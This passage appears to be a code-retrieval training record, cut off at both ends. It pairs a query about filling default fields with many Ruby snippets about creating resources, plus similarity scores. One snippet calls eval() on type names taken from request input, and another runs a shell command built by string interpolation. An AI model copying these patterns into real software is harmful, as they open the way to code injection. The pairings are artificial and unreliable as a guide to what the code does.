unless\n\t\t\t\tself.paramvalidator.param_names.include?( pkey.to_s )\n\n\t\t\t# Figure out what the resource name is, and make the route from it\n\t\t\tname = options[:name] || rsrcobj.implicit_table_name\n\t\t\troute = [ options[:prefix], name ].compact.join( '/' )\n\t\t\tself.log.warn \"Route is: %p\" % [[ options[:prefix], name ]]\n\n\t\t\t# Make and install handler methods\n\t\t\tself.log.debug \" adding readers\"\n\t\t\tself.add_options_handler( route, rsrcobj, options )\n\t\t\tself.add_read_handler( route, rsrcobj, options )\n\t\t\tself.add_collection_read_handler( route, rsrcobj, options )\n\n\t\t\t# Add handler methods for the mutator parts of the API unless\n\t\t\t# the resource is read-only\n\t\t\tif options[:readonly]\n\t\t\t\tself.log.debug \" skipping mutators (read-only set)\"\n\t\t\telse\n\t\t\t\tself.add_collection_create_handler( route, rsrcobj, options )\n\t\t\t\tself.add_update_handler( route, rsrcobj, options )\n\t\t\t\tself.add_collection_replace_handler( route, rsrcobj, options )\n\t\t\t\tself.add_replace_handler( route, rsrcobj, options )\n\t\t\t\tself.add_collection_deletion_handler( route, rsrcobj, options )\n\t\t\t\tself.add_delete_handler( route, rsrcobj, options )\n\t\t\tend\n\n\t\t\t# Add any composite resources based on the +rsrcobj+'s associations\n\t\t\tself.add_composite_resource_handlers( route, rsrcobj, options ) if options[:composite]\n\t\tend", "def create(res_type, config_props = {}, &block)\n # new_res = nil\n #res_name = res_name.to_sym\n #config_props[:name] ||= res_name\n config_props[:type] ||= res_type\n debug \"Create resource of type '#{res_type}'\"\n create_message_and_publish(:create, config_props, block)\n self\n end", "def manipulate_resource_list(resources)\n new_resources = []\n\n # Set up date pages if the appropriate templates have been specified\n @blog_data.articles.group_by { |a| a.date.year }.each do |year, year_articles|\n new_resources << year_page_resource(year, year_articles) if @generate_year_pages && @year_template\n\n year_articles.group_by { |a| a.date.month }.each do |month, month_articles|\n new_resources << month_page_resource(year, month, month_articles) if @generate_month_pages && @month_template\n\n month_articles.group_by { |a| a.date.day }.each do |day, day_articles|\n new_resources << day_page_resource(year, month, day, day_articles) if @generate_day_pages && @day_template\n end\n end\n end\n\n resources + new_resources\n end", "def create_contexts\n create_stores\n create_employees\n create_assignments\n end", "def build\n # a counter to use when creating auto-labels for resources, with incremenets for each type\n resource_type_counters = Hash.new(0)\n\n # rubocop:disable Metrics/BlockLength\n cocina_filesets = filesets.map.with_index(1) do |fileset, sequence|\n resource_type_counters[fileset.resource_type_description] += 1 # each resource type description gets its own incrementing counter\n # create a generic resource label if needed\n default_label = \"#{fileset.resource_type_description.capitalize} #{resource_type_counters[fileset.resource_type_description]}\"\n # but if one of the files has a label, use it instead\n resource_label = fileset.label_from_file(default: default_label)\n contained_files = fileset.files.map do |fileset_file| # iterate over all the files in a resource\n file_id = fileset_file.relative_path\n file_attributes = {\n type: 'https://cocina.sul.stanford.edu/models/file',\n externalIdentifier: \"https://cocina.sul.stanford.edu/file/#{SecureRandom.uuid}\",\n version:,\n label: file_id,\n filename: file_id,\n hasMessageDigests: message_digests(fileset_file),\n hasMimeType: fileset_file.mimetype,\n administrative: administrative(fileset_file),\n access: file_access\n }\n Cocina::Models::File.new(file_attributes)\n end\n\n fs_attributes = {\n label: resource_label,\n version:,\n externalIdentifier: \"#{external_identifier.delete_prefix('druid:')}_#{sequence}\",\n type: file_set_type(fileset.resource_type_description),\n structural: { contains: contained_files }\n }\n\n Cocina::Models::FileSet.new(fs_attributes)\n end\n # rubocop:enable Metrics/BlockLength\n\n attributes = { contains: cocina_filesets }\n attributes[:hasMemberOrders] = [{ viewingDirection: reading_order }] if reading_order\n\n cocina_dro.structural.new(attributes)\n end", "def create\n create_role_directory\n generate_manifests_file\n end", "def run\n check_files_exist\n\n file_metadata = UploadFilesMetadataBuilder.build(files: files, mime_types: mime_types, basepath: basepath)\n upload_responses = UploadFiles.upload(file_metadata: file_metadata,\n filepath_map: filepath_map,\n logger: logger,\n connection: connection)\n metadata_builder = MetadataBuilder.new(metadata: metadata,\n grouping_strategy: grouping_strategy,\n file_set_type_strategy: file_set_type_strategy,\n logger: logger)\n request = metadata_builder.with_uploads(upload_responses)\n model = Cocina::Models.build_request(request.as_json.with_indifferent_access)\n CreateResource.run(accession: @accession,\n priority: @priority,\n assign_doi: @assign_doi,\n metadata: model,\n logger: logger,\n connection: connection)\n end", "def build_resource(hash=nil)\n super\n end", "def to_create_resources\n resources = {}\n\n @data.each_key {|topkey|\n\n # The top level key is the interface name\n ifname = topkey.to_sym\n\n if @data[topkey][:addrs]\n if @data[topkey][:addrs].is_a? Array\n @data[topkey][:addrs].each {|i|\n if i =~ /inet6 /\n key = \"ifconfig_#{ifname}_ipv6\"\n elsif i =~ /inet /\n key = \"ifconfig_#{ifname}\"\n else\n key = \"ifconfig_#{ifname}\"\n end\n\n # Set the value property on the resource\n resources[key] = {\n \"value\" => i,\n }\n }\n else\n key = \"ifconfig_#{ifname}\"\n resources[key] = {\n \"value\" => @data[topkey][:addrs],\n }\n end\n end\n\n if @data[topkey][:aliases] and @data[topkey][:aliases].is_a? Array\n @data[topkey][:aliases].each_with_index {|a,i|\n key = \"ifconfig_#{ifname}_alias#{i}\"\n resources[key] = {\n \"value\" => a,\n }\n }\n end\n }\n\n Puppet.debug(\"Returning resources: #{resources}\")\n\n resources\n end", "def create\n debug \"Call: create on cs_resource '#{@resource[:name]}'\"\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive_class => @resource[:primitive_class],\n :provided_by => @resource[:provided_by],\n :primitive_type => @resource[:primitive_type],\n :complex_type => @resource[:complex_type],\n }\n @property_hash[:parameters] = @resource[:parameters] if @resource[:parameters]\n @property_hash[:operations] = @resource[:operations] if @resource[:operations]\n @property_hash[:metadata] = @resource[:metadata] if @resource[:metadata]\n @property_hash[:ms_metadata] = @resource[:ms_metadata] if @resource[:ms_metadata]\n @property_hash[:cib] = @resource[:cib] if @resource[:cib]\n end", "def manage_resources(resources)\n resources.map {|r| manage_resource(r) }\n end", "def configure\n raise 'Path is required' unless @resource[:path]\n arr = [\"create -b #{@resource[:create_args]}\"]\n\n # Then perform all of our configuration steps. It's annoying\n # that we need this much internal info on the resource.\n resource.properties.each do |property|\n next unless my_properties.include? property.name\n method = (property.name.to_s + '_conf').to_sym\n arr << send(method, @resource[property.name]) unless property.safe_insync?(properties[property.name])\n end\n setconfig(arr.join(\"\\n\"))\n end", "def create_external_resources\n create_account_inline && account.save && create_tenant\n end", "def setup_apigateway_create_resources(api_id, swagger_file, region)\r\n raise 'API ID not provided' unless api_id\r\n\r\n cmd = \"java -jar #{@jarpath} --update #{api_id} --region #{region} #{swagger_file}\"\r\n raise 'API gateway not created' unless system(cmd)\r\n end", "def create_resource(resource_descr, type_to_create, authorizer)\n raise InsufficientPrivilegesException unless authorizer.can_create_resource?(resource_descr, type_to_create)\n\n if resource_descr[:account_id].nil?\n resource = eval(\"OMF::SFA::Model::#{type_to_create.classify}\").create(resource_descr)\n resource = manage_resource(resource)\n else\n resource = @scheduler.create_child_resource(resource_descr, type_to_create, nil)\n end\n\n raise UnknownResourceException.new \"Resource '#{resource_descr.inspect}' cannot be created\" unless resource\n resource\n end", "def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end", "def create_everything\n create_users\n create_user_keys\n create_comments\n create_filters\n create_columns\n create_organizations\n create_approvals\n create_whitelists\n create_user_key_columns\n create_user_key_organizations\n end", "def create_new_resource(resource_descr, type_to_create, authorizer)\n debug \"create_new_resource: resource_descr: #{resource_descr}, type_to_create: #{type_to_create}\"\n authorizer.can_create_resource?(resource_descr, type_to_create)\n\n if type_to_create == \"Lease\" #Lease is a unigue case, needs special treatment\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Attribute account is mandatory.\" if resource_descr[:account].nil? && resource_descr[:account_attributes].nil?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Attribute components is mandatory.\" if (resource_descr[:components].nil? || resource_descr[:components].empty?) && (resource_descr[:components_attributes].nil? || resource_descr[:components_attributes].empty?)\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Attributes valid_from and valid_until are mandatory.\" if resource_descr[:valid_from].nil? || resource_descr[:valid_until].nil?\n\n res_descr = {} # praktika ena hash/antigrafo tou resource description, me kapoia epipleon\n res_descr[:name] = resource_descr[:name]\n res_descr[:valid_from] = resource_descr[:valid_from]\n res_descr[:valid_until] = resource_descr[:valid_until]\n ac_desc = resource_descr[:account] || resource_descr[:account_attributes] # praktika simainei opoio ap ta 2 uparxei\n ac = OMF::SFA::Model::Account.first(ac_desc)\n raise OMF::SFA::AM::Rest::UnknownResourceException.new \"Account with description '#{ac_desc}' does not exist.\" if ac.nil? \n raise OMF::SFA::AM::Rest::NotAuthorizedException.new \"Account with description '#{ac_desc}' is closed.\" unless ac.active?\n res_descr[:account_id] = ac.id\n lease = @am_manager.find_or_create_lease(res_descr, authorizer) # Return the lease described by +lease_descr+. Create if it doesn't exist.\n\n comps = resource_descr[:components] || resource_descr[:components_attributes]\n nil_account_id = @am_manager._get_nil_account.id # default account, admin account\n components = []\n comps.each do |c|\n desc = {}\n desc[:account_id] = nil_account_id\n desc[:uuid] = c[:uuid] unless c[:uuid].nil?\n desc[:name] = c[:name] unless c[:name].nil?\n if k = OMF::SFA::Model::Resource.first(desc)\n components << k #vres to component me to tade uuid h name (analoga ti exei do8ei) kai valto ston pinaka components\n end\n end \n\n scheduler = @am_manager.get_scheduler\n comps = []\n components.each do |comp|\n comps << c = scheduler.create_child_resource({uuid: comp.uuid, account_id: ac.id}, comp[:type].to_s.split('::').last)\n unless scheduler.lease_component(lease, c)\n scheduler.delete_lease(lease)\n @am_manager.release_resources(comps, authorizer) # kanei destroy ta resources\n raise NotAuthorizedException.new \"Reservation for the resource '#{c.name}' failed. The resource is either unavailable or a policy quota has been exceeded.\"\n end\n end\n resource = lease\n else\n if resource_descr.kind_of? Array\n descr = []\n resource_descr.each do |res|\n res_descr = {}\n res_descr.merge!({uuid: res[:uuid]}) if res.has_key?(:uuid) # an sto hash uparxei kleisi \"uuid\"\n res_descr.merge!({name: res[:name]}) if res.has_key?(:name) # ftiaxnei ena hashaki me to uuid kai to name kai to vazei ston pinaka descr\n descr << res_descr unless eval(\"OMF::SFA::Model::#{type_to_create}\").first(res_descr) # ektos an uparxei hdh\n end # elegxei an ta resources uparxoun\n raise OMF::SFA::AM::Rest::BadRequestException.new \"No resources described in description #{resource_descr} is valid. Maybe all the resources alreadt=y exist.\" if descr.empty?\n elsif resource_descr.kind_of? Hash\n descr = {}\n descr.merge!({uuid: resource_descr[:uuid]}) if resource_descr.has_key?(:uuid)\n descr.merge!({name: resource_descr[:name]}) if resource_descr.has_key?(:name)\n \n if descr.empty?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource description is '#{resource_descr}'.\"\n else\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource with descr '#{descr} already exists'.\" if eval(\"OMF::SFA::Model::#{type_to_create}\").first(descr)\n end\n end\n\n if resource_descr.kind_of? Array # logika an exeis dosei polla resources\n resource = []\n resource_descr.each do |res_desc|\n resource << eval(\"OMF::SFA::Model::#{type_to_create}\").create(res_desc)\n @am_manager.manage_resource(resource.last) if resource.last.account.nil?\n if type_to_create == 'Account'\n @am_manager.liaison.create_account(resource.last)\n end\n end\n elsif resource_descr.kind_of? Hash # an exeis dwsei ena resource\n\n # EXW PEIRAKSEI\n\n if @opts[:semantic]\n debug \"semantic creation\"\n sparql = SPARQL::Client.new($repository)\n id = resource_descr[:name]\n resource_descr.delete(:name)\n res = eval(\"Semantic::#{type_to_create}\").for(id, resource_descr)\n res.save!\n resource = sparql.construct([res.uri, :p, :o]).where([res.uri, :p, :o])\n\n ##############\n else\n resource = eval(\"OMF::SFA::Model::#{type_to_create}\").create(resource_descr)\n @am_manager.manage_resource(resource) if resource.class.can_be_managed?\n if type_to_create == 'Account'\n @am_manager.liaison.create_account(resource)\n end\n end\n end\n end\n resource\n end", "def create\n @resource = current_user.resources.build(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n clone_max: @resource[:clone_max],\n clone_node_max: @resource[:clone_node_max],\n notify_clones: @resource[:notify_clones],\n globally_unique: @resource[:globally_unique],\n ordered: @resource[:ordered],\n interleave: @resource[:interleave],\n cib: @resource[:cib],\n existing_resource: :false\n }\n end", "def resources\n @resources ||= @internal_struct[:resources] || {}\n end", "def build_resource(dir, specs)\n resources = Dir.new(dir)\n to_skip = [ '.', '..', 'resource.def' ]\n record = specs['config']\n resources.entries.each do |entry|\n next if to_skip.include?(entry)\n content = IO.read File.join(resources.path, entry)\n method = File.basename(entry, File.extname(entry)).upcase\n doc = Maruku.new(content)\n record[method.downcase]['content'] = doc.to_html\n end\n record\n end", "def initialize(title, description, resources)\n @title = title\n @description = description\n @resources = resources\n end", "def action_create\n if (dir_exists?(@path))\n Chef::Log::info(\"Directory #{ @path } exits; create action not taken\")\n else\n converge_by(\"Create #{ @new_resource }\") do\n @client.mkdir(@path,'permission' => @mode)\n end\n new_resource.updated_by_last_action(true)\n end\n end", "def create_resource(type, file, resource_name=nil, comment=nil)\n if type != 'table' and !file.instance_of? File\n file = File.open(file)\n end\n begin\n resource_name = resource_name || File.basename(file)\n res = ODPS.conn.post do |req|\n req.url \"projects/#{ODPS.current_project}/resources\"\n req.headers['x-odps-resource-type'] = type\n req.headers['x-odps-resource-name'] = resource_name\n req.headers['x-odps-comment'] = comment if comment\n req.headers['Content-Type'] = 'text/plain'\n if type == 'table'\n req.headers['x-odps-copy-table-source'] = file\n else\n req.body = file.read\n end\n end\n rescue Exception, e\n AliODPS::LOGGER.error \"Open file error!#{$!}@#{$@}\"\n ensure\n file.close unless type == 'table'\n end\n\n resource = Resource.new\n if res.status == 201\n resource.comment = comment\n resource.file_source = res['Location']\n resource.name = resource_name\n end\n resource\n end", "def add_resources!\n return unless exhibit.published?\n\n add_exhibit_root\n add_pages\n add_resources\n add_browse_categories\n end", "def create(data)\n @create_resource_mixin.create(data)\n end", "def resources\n @resources ||= []\n end", "def create\n if current_user && current_user.email == 'zoe@test.com'\n resource = Resource.new(resource_params)\n #array of tag_ids from f.check_box_tag comes in as an array of strings\n tag_ids = params[:tag_ids].map(&:to_i)\n tag_array = []\n tag_ids.each do |id|\n tag = Tag.find(id)\n tag_array.push(tag)\n end\n if resource.save\n resource.tags << tag_array\n redirect_to resources_path\n end\n else\n redirect_to root_path\n flash[:error] = \"You do not have permission to perform this action.\"\n end\n end", "def create(*args)\n argv = to_pointer([\"create\"] + args)\n rrd_create(args.size+1, argv) == 0\n ensure\n free_pointers\n end", "def create\n @resource = Resource.new(params[:resource])\n respond_to do |format|\n if @resource.save\n @resource.eval_description\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n get_resource_types\n format.html { render action: :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n\r\n\r\n end", "def create_resource(type, title, parameters = {})\n parameters = parameters.merge(:name => title)\n resource = Puppet::Type.type(type.to_sym).new(parameters)\n catalog.add_resource(resource)\n resource\n end", "def create_resource_for(resource_name)\n resource = self.class.const_set(resource_name, Class.new(Meli::Base))\n resource.prefix = self.class.prefix\n resource.site = self.class.site\n resource\n end", "def create_tables\n create_mirrors\n create_users\n create_user_tokens\n create_products\n create_users_products\n create_versions\n create_dependencies\n create_access_keys\n end", "def build(resources)\n current = [] || YAML.load_file(path)\n\n resources.each do |resource|\n item = {}\n item['path'] = resource\n item['modified'] = File.mtime(resource).to_s\n item['processed'] = Time.now.to_s\n\n current << item\n end\n\n current\n end", "def cleanup_created_resources\n # Avoid the use of any short circuiting folds.\n cleanup_commands.reverse.inject(true) { |accum, x| accum && x.cleanup }\n end" ]
[ "0.7098429", "0.6946261", "0.69214714", "0.687821", "0.687821", "0.6748614", "0.6731864", "0.6577058", "0.65576774", "0.6489712", "0.6418785", "0.6398197", "0.63402456", "0.63235515", "0.6282782", "0.6251337", "0.62312806", "0.6201025", "0.61962813", "0.61736757", "0.61672485", "0.61639357", "0.6153615", "0.61185914", "0.6105157", "0.6095009", "0.60723174", "0.6065707", "0.6064731", "0.6062374", "0.6062193", "0.60491264", "0.60399437", "0.60352314", "0.6032988", "0.60326594", "0.60297644", "0.6019739", "0.60040474", "0.6002485", "0.6002485", "0.59994674", "0.5982392", "0.59562397", "0.5953451", "0.59403557", "0.5939303", "0.5936053", "0.5935444", "0.59189725", "0.5905693", "0.59027904", "0.59010816", "0.5889766", "0.5887445", "0.58688027", "0.5865715", "0.5863223", "0.5859182", "0.5851541", "0.5826103", "0.58083296", "0.58079344", "0.57786", "0.57766616", "0.57763016", "0.5774452", "0.5770634", "0.57570714", "0.57535106", "0.5751945", "0.5741614", "0.57364905", "0.57355404", "0.5734684", "0.5732935", "0.57286537", "0.57245487", "0.57227534", "0.57226425", "0.5713521", "0.57091427", "0.5695942", "0.56945723", "0.5693954", "0.56930566", "0.56929475", "0.5686103", "0.568609", "0.56836873", "0.5682301", "0.56767035", "0.5672412", "0.5668237", "0.5666678", "0.5660496", "0.56584424", "0.56576365", "0.56571096" ]
0.70261425
1
Defaults fills out some fields that require code not just JSON SCHAME
def defaults!; end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize_defaults\n self.data = {} if data.blank?\n end", "def default_data\n end", "def defaults\n parse({})\n end", "def default_fields\n # @kase.default_fields_with_name(:kase) if @kase\n defaults = {}\n defaults = defaults.merge(@review.default_fields_with_name(:review)) if @review\n defaults = defaults.merge(@comment.default_fields_with_name(:comment)) if @comment\n defaults\n end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def reset_to_defaults!\n @allowlist_regexp = nil\n @custom_http_auth_scheme = UnsetString.new(\"custom_http_auth_scheme\")\n @env_var_to_hold_api_client_primary_key = NonNullString.new(\"env_var_to_hold_api_client_primary_key\",\"STITCHES_API_CLIENT_ID\")\n @env_var_to_hold_api_client= NonNullString.new(\"env_var_to_hold_api_client\",\"STITCHES_API_CLIENT\")\n @max_cache_ttl = NonNullInteger.new(\"max_cache_ttl\", 0)\n @max_cache_size = NonNullInteger.new(\"max_cache_size\", 0)\n @disabled_key_leniency_in_seconds = ActiveSupport::Duration.days(3)\n @disabled_key_leniency_error_log_threshold_in_seconds = ActiveSupport::Duration.days(2)\n end", "def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"locale\" => lambda {|n| @locale = n.get_string_value() },\n \"messageTemplate\" => lambda {|n| @message_template = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end", "def schema_post_process(_)\n super.each do |a|\n h = a[1]\n if (h[:type] == :json || h[:type] == :jsonb) && h[:default] =~ /\\A'(\\{\\}|\\[\\])'::jsonb?\\z/\n is_array = $1 == '[]'\n\n klass = if h[:type] == :json\n if is_array\n JSONArray\n else\n JSONHash\n end\n elsif is_array\n JSONBArray\n else\n JSONBHash\n end\n\n h[:callable_default] = lambda{klass.new(is_array ? [] : {})}\n end\n end\n end", "def default_fields\n defaults = {}\n defaults = defaults.merge(@user.default_fields_with_name(:user)) if @user\n defaults = defaults.merge(@person.default_fields_with_name(:person)) if @person\n defaults = defaults.merge(@person.default_fields_with_name(:person_business_address_attributes)) if @person.business_address\n defaults = defaults.merge(@voucher.default_fields_with_name(:voucher)) if @voucher\n defaults\n end", "def set_default_attrs\n self.state = 'Texas' if self.respond_to? :state\n self.origin = 'hunted' if self.respond_to? :origin\n self.gender = 'male' if self.respond_to? :gender\n if self.respond_to? :parts\n parts = Part::NAMES.map { |part_name| {name: part_name} }\n parts << { other: true }\n self.parts = parts\n end\n if self.respond_to? :taxidermy_parts\n taxidermy_parts = self.class::DEFAULT_TAXIDERMY_PARTS.map { |part_name| {name: part_name} }\n taxidermy_parts << { other: true }\n self.taxidermy_parts = taxidermy_parts\n end\n self\n end", "def apply_defaults_for_legacy_item( defaults, payload )\n\n # merge in defaults\n defaults.each { |k, v|\n\n case k\n\n when :admin_notes\n next if v.blank?\n\n original_create_date = payload[ :create_date ]\n dt = datetime_from_string( original_create_date )\n original_create_date = dt.strftime( \"%Y-%m-%d %H:%M:%S\" ) if dt.nil? == false\n time_now = CurationConcerns::TimeService.time_in_utc.strftime( \"%Y-%m-%d %H:%M:%S\" )\n new_notes = \"#{v.gsub( 'LIBRA1_CREATE_DATE', original_create_date ).gsub( 'CURRENT_DATE', time_now )}\"\n payload[ k ] = [ new_notes ]\n\n else if payload.key?( k ) == false\n payload[ k ] = v\n end\n end\n }\n\n return payload\n end", "def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isAvailable\" => lambda {|n| @is_available = n.get_boolean_value() },\n })\n end", "def required_defaults; end", "def get_field_deserializers()\n return super.merge({\n \"applicationName\" => lambda {|n| @application_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"objectId\" => lambda {|n| @object_id_escaped = n.get_string_value() },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n })\n end", "def set_defaults\n self.name_first = self.name_first.capitalize\n self.name_last = self.name_last.capitalize\n self.name_mi = self.name_mi.nil? ? \"\" : self.name_mi.capitalize\n self.name_full = self.name_last+\", \"+self.name_first + \" \" + self.name_mi\n self.login = self.login.downcase if !self.login.nil?\n self.email = self.email.downcase if !self.email.nil?\n \n if self.user_type == \"citizen\"\n self.phone_primary = self.phone_primary.gsub(/[^0-9]/,\"\")\n self.phone_secondary = self.phone_secondary.gsub(/[^0-9]/,\"\")\n if self.email.blank?\n self.email = self.login+\"@jobs.aidt.edu\"\n end\n end\n end", "def default_data!(data)\n data.merge(\n \"features_folder\" => (data[\"features\"] || \"features\").downcase.strip,\n \"app_host\" => (data[\"app_host\"] || \"\").downcase.strip,\n \"driver\" => (data[\"driver\"] || \"chrome\").downcase.strip,\n \"headless\" => (data[\"headless\"].to_s.downcase.strip == \"true\"),\n \"print_progress\" => (data[\"print_progress\"].to_s.downcase.strip == \"true\"),\n \"pause\" => (data[\"pause\"] || \"0\").to_s.downcase.strip.to_i,\n \"stop_on_error\" => (data[\"stop_on_error\"] || \"false\").to_s.downcase.strip,\n \"max_wait_time\" => (data[\"max_wait_time\"] || Capybara.default_max_wait_time).to_s.downcase.strip.to_i,\n \"user_agent\" => (data[\"user_agent\"] || \"\").strip,\n # Because we want to default to 'true', but allow users to override it\n # with 'false' it causes us to mess with the logic. Essentially if the\n # user does enter false (either as a string or as a boolean) the result\n # will be 'true', so we flip it back to 'false' with !.\n # Else the condition fails and we get 'false', which when flipped gives\n # us 'true', which is what we want the default value to be\n # rubocop:disable Style/InverseMethods\n \"display_failures\" => !(data[\"display_failures\"].to_s.downcase.strip == \"false\"),\n # rubocop:enable Style/InverseMethods\n \"custom\" => (data[\"custom\"] || nil)\n )\n end", "def set_defaults\n\n end", "def set_defaults\n\n end", "def set_defaults\n\n end", "def set_defaults\n\n end", "def set_defaults\n\n end", "def set_defaults\n\n end", "def set_defaults\n end", "def set_defaults\n end", "def get_field_deserializers()\n return super.merge({\n \"contractType\" => lambda {|n| @contract_type = n.get_string_value() },\n \"customerId\" => lambda {|n| @customer_id = n.get_guid_value() },\n \"defaultDomainName\" => lambda {|n| @default_domain_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n })\n end", "def set_defaults\n\t\tself.outside_agency_staff\t= DEFAULT_FIELD_TEXT\t\t\tif outside_agency_staff.nil?\n\t\tself.overview \t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif overview.nil?\n\t\tself.ratio \t\t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif ratio.nil?\n\t\tself.trainings_needed \t\t= DEFAULT_FIELD_TEXT\t\t \tif trainings_needed.nil?\n\t\tself.medication_times \t\t= DEFAULT_FIELD_TEXT\t\t \tif medication_times.nil?\n\t\tself.waivers \t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif waivers.nil?\n\t\tself.keys \t\t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif keys.nil?\n\t\tself.schedule_info \t\t\t\t= DEFAULT_FIELD_TEXT \t\t\tif schedule_info.nil?\n\t\tself.phone_numbers \t\t\t\t= DEFAULT_FIELD_TEXT \t\t\tif phone_numbers.nil?\n\t\tself.behavior_plans \t\t\t= DEFAULT_FIELD_TEXT \t\t\tif behavior_plans.nil?\n\t\tself.name\t\t\t\t\t\t\t\t\t= \"Untitled\"\t\t\t\t \t\t\tif name.nil?\n self.address_street\t\t\t\t= DEFAULT_ADDRESS_STREET \tif address_street.nil?\n self.address_city\t\t\t\t\t= DEFAULT_ADDRESS_CITY \t\tif address_city.nil?\n self.address_state\t\t\t\t= DEFAULT_ADDRESS_STATE \tif address_state.nil?\n self.address_zip\t\t\t\t\t= DEFAULT_ADDRESS_ZIP \t\tif address_zip.nil?\n self.phone_1\t\t\t\t\t\t\t= DEFAULT_PHONE_1 \t\t\t\tif phone_1.nil?\n self.phone_2\t\t\t\t\t\t\t= DEFAULT_PHONE_2 \t\t\t\tif phone_2.nil?\n self.fax\t\t\t\t\t\t\t\t\t= DEFAULT_FAX \t\t\t\t\t\tif fax.nil?\n self.bu_code\t\t\t\t\t\t\t= DEFAULT_BU_CODE\t\t \t\t\tif bu_code.nil?\n\tend", "def set_defaults\n self.created_at ||= DateTime.now.utc\n self.keyword ||= nil\n self.extra ||= nil\n end", "def defaults\n fields.inject({}) do |defs, (field_name,field)|\n next(defs) if field.default.nil?\n defs[field_name.to_s] = field.default\n defs\n end\n end", "def fallback_data; end", "def fallback_data; end", "def prep_for_json\n build_json = {}\n build_json['phone_number'] = self.phone_number\n if (!self.attendee_user_id.nil?) ## might be nil for non_user\n build_json['user_id'] = self.attendee_user_id\n end\n build_json['status'] = self.status\n build_json['role'] = self.role\n\n build_json\n end", "def default_attributes(custom = {})\n {}\n end", "def defaults\n super\n end", "def defaults\n {}\n end", "def defaults\n {}\n end", "def defaults\n {}\n end", "def defaults\n {\n client: nil,\n name: '',\n }\n end", "def set_default_data\n return unless issues_tracker.present?\n\n self.title ||= issues_tracker['title']\n\n # we don't want to override if we have set something\n return if project_url || issues_url || new_issue_url\n\n data_fields.project_url = issues_tracker['project_url']\n data_fields.issues_url = issues_tracker['issues_url']\n data_fields.new_issue_url = issues_tracker['new_issue_url']\n end", "def json_fields\n\n mappings = {}\n\n json = self.record.json\n return mappings unless json\n\n lang_materials = json['lang_materials']\n if lang_materials\n mappings['language'] = lang_materials\n .select { |lm| lm['language_and_script'].present? and lm['language_and_script']['language'].present?}\n .map{ |lm| lm['language_and_script']['language'] }\n .flatten\n .join(\";\")\n end\n\n language = json['language']\n if language\n mappings['language'] = language\n end\n\n\n notes = json['notes']\n if notes\n mappings['physical_location_note'] = notes\n .select { |note| note['type'] == 'physloc' and note['content'].present? and note['publish'] == true }\n .map { |note| note['content'] }\n .flatten\n .join(\"; \")\n\n mappings['accessrestrict'] = notes\n .select { |note| note['type'] == 'accessrestrict' and note['subnotes'] }\n .map { |note| note['subnotes'] }\n .flatten\n .select { |subnote| subnote['content'].present? and subnote['publish'] == true}\n .map { |subnote| subnote['content'] }\n .flatten\n .join(\"; \")\n end\n\n if json['dates']\n json['dates']\n .select { |date| date['expression'].present? }\n .group_by { |date| date['label'] }\n .each { |label, dates|\n mappings[\"#{label}_date\"] = dates\n .map { |date| date['expression'] }\n .join(\"; \")\n }\n end\n\n\n if json['linked_agents']\n mappings['creators'] = json['linked_agents']\n .select { |l| l['role'] == 'creator' and l['_resolved'] }\n .map { |l| l['_resolved']['names'] }.flatten\n .select { |n| n['is_display_name'] == true}\n .map { |n| n['sort_name']}\n .join(\"; \")\n end\n\n if json['rights_statements']\n mappings['rights_type'] = json['rights_statements'].map{ |r| r['rights_type']}.uniq.join(';')\n end\n\n digital_instances = json['instances'].select { |instance| instance['instance_type'] == 'digital_object'}\n if (digital_instances.any?)\n mappings[\"digital_objects\"] = digital_instances.map{|d| d['digital_object']['ref']}.join(';')\n end\n\n mappings['restrictions_apply'] = json['restrictions_apply']\n mappings['display_string'] = json['display_string']\n\n instances = self.container_instances\n return mappings unless instances\n\n mappings['requests'] = instances\n .each_with_index\n .map { |instance, i|\n request = {}\n \n instance_count = i + 1\n\n request['Request'] = \"#{instance_count}\"\n\n request[\"instance_is_representative_#{instance_count}\"] = instance['is_representative']\n request[\"instance_last_modified_by_#{instance_count}\"] = instance['last_modified_by']\n request[\"instance_instance_type_#{instance_count}\"] = instance['instance_type']\n request[\"instance_created_by_#{instance_count}\"] = instance['created_by']\n\n container = instance['sub_container']\n return request unless container\n\n request[\"instance_container_grandchild_indicator_#{instance_count}\"] = container['indicator_3']\n 